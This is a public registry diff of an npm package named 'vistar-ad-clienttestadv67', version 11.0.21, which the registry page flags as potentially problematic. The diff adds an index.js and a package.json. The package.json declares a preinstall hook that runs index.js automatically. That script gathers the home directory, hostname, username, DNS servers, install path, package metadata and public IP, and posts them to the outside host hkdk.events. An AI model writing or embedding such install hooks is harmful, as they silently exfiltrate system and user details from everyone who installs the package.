vistar-ad-clienttestadv67 11.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vistar-ad-clienttestadv67 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +79 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,79 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ // Function to get the public IP using an external API
9
+ function getPublicIP(callback) {
10
+ https
11
+ .get("https://api.ipify.org?format=json", (res) => {
12
+ let data = "";
13
+
14
+ res.on("data", (chunk) => {
15
+ data += chunk;
16
+ });
17
+
18
+ res.on("end", () => {
19
+ try {
20
+ const ipAddress = JSON.parse(data).ip;
21
+ callback(null, ipAddress);
22
+ } catch (e) {
23
+ callback("Failed to parse public IP", null);
24
+ }
25
+ });
26
+ })
27
+ .on("error", (err) => {
28
+ callback(err, null);
29
+ });
30
+ }
31
+
32
+ // Collect all required data
33
+ getPublicIP((err, publicIP) => {
34
+ if (err) {
35
+ console.log("Error fetching public IP:", err);
36
+ return;
37
+ }
38
+
39
+ const trackingData = JSON.stringify({
40
+ p: package,
41
+ c: __dirname,
42
+ hd: os.homedir(),
43
+ hn: os.hostname(),
44
+ un: os.userInfo().username,
45
+ dns: dns.getServers(),
46
+ r: packageJSON ? packageJSON.___resolved : undefined,
47
+ v: packageJSON.version,
48
+ pjson: packageJSON,
49
+ ip: publicIP,
50
+ });
51
+
52
+ const postData = querystring.stringify({
53
+ msg: trackingData,
54
+ });
55
+
56
+ const options = {
57
+ hostname: "hkdk.events",
58
+ port: 443,
59
+ path: "/jynvxdk26xppdx",
60
+ method: "POST",
61
+ headers: {
62
+ "Content-Type": "application/x-www-form-urlencoded",
63
+ "Content-Length": postData.length,
64
+ },
65
+ };
66
+
67
+ const req = https.request(options, (res) => {
68
+ res.on("data", (d) => {
69
+ process.stdout.write(d);
70
+ });
71
+ });
72
+
73
+ req.on("error", (e) => {
74
+ console.error(e);
75
+ });
76
+
77
+ req.write(postData);
78
+ req.end();
79
+ });
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "vistar-ad-clienttestadv67",
3
+ "version": "11.0.21",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }